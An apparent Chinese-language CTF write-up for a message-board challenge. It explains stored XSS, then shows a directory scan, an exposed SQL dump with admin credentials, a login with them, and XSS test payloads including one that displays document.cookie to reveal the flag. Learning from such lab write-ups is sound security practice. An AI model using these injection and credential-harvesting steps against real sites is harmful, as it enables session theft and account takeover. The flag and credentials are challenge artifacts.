CTF学习留言板

391 阅读3分钟

留言板

image.png 一般来说有输入框的都为xss漏洞

xss漏洞:

定义/原理: 跨站脚本(Cross-Site Scripting),本应该缩写为CSS,但是该缩写已被层叠样式脚本Cascading Style Sheets所用,所以改简称为XSS。也称跨站脚本或跨站脚本攻击。跨站脚本攻击XSS通过将恶意得Script代码注入到Web页面中,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。

本质: 是一种针对网站应用程序的安全漏洞攻击技术,是代码注入的一种 。

特点: XSS主要基于JavaScript完成恶意的攻击行为,由于JS可以非常灵活地操作html、css和浏览器,使得跨站脚本攻击的“想象”空间特别大。

攻击对象: 被攻击者的浏览器。用户最简单的动作就是使用浏览器上网,并且浏览器中有javascript解释器,可以解析javascript,然后浏览器不会判断代码是否恶意,也就是说xss的对象是用户的浏览器。

一般的攻击过程:

1.攻击者将恶意代码注入到服务器中(如论坛、留言板、邮件等); 2.用户在没有防备的情况下访问了被注入了恶意代码的服务器; 3.服务器将含有恶意代码的网页响应给客户端; 4.在客户端浏览器中触发JS恶意代码。 5.微博、留言板、聊天室等等收集用户输入的地方,都可能被注入xss代码,都存在遭受xss的风险,只要没有对用户的输入进行严格过滤,就会被xss。当攻击者可以将恶意代码注入到服务器中,我们就认为其存在xss漏洞。

image.png 用dirsearch扫描目录,发现admin.php,我们打开它 image.png 继续访问:http://114.67.175.224:11906/db.sql(现在题目中没有了)

Date: 2019-08-04 16:13:22

Generator: MySQL-Front 5.3 (Build 4.234)/*!40101 SET NAMES utf8 */;#

Structure for table "text"

#CREATE DATABASE xss DEFAULT CHARACTER SET utf8; use xss; DROP TABLE IF EXISTS text; CREATE TABLE text (Id int(11) NOT NULL AUTO_INCREMENT,text varchar(255) DEFAULT NULL,PRIMARY KEY (Id) ) ENGINE=MyISAM DEFAULT CHARSET=utf8;#

Data for table "text"

#/*!40000 ALTER TABLE text DISABLE KEYS /; /!40000 ALTER TABLE text ENABLE KEYS */;#

Structure for table "user"

#DROP TABLE IF EXISTS user; CREATE TABLE user (Id int(11) NOT NULL AUTO_INCREMENT,username varchar(255) DEFAULT NULL,password varchar(255) DEFAULT NULL,PRIMARY KEY (Id) ) ENGINE=MyISAM DEFAULT CHARSET=utf8;#

Data for table "user"

#/*!40000 ALTER TABLE user DISABLE KEYS /; INSERT INTO user VALUES (1,'admin','011be4d65feac1a8'); /!40000 ALTER TABLE user ENABLE KEYS */;

于是我们将admin和他的密码输入admin.php中登录成功,回到首页进行xss测试 <script>alert("1")</script> image.png 回显了我们刚刚上传的 script 代码构造一个获取cookie的js代码 尝试一下 (<script>alert(document.cookie)</script>image.png flag{a70a156b265f749e3b95cc0ed58dc876}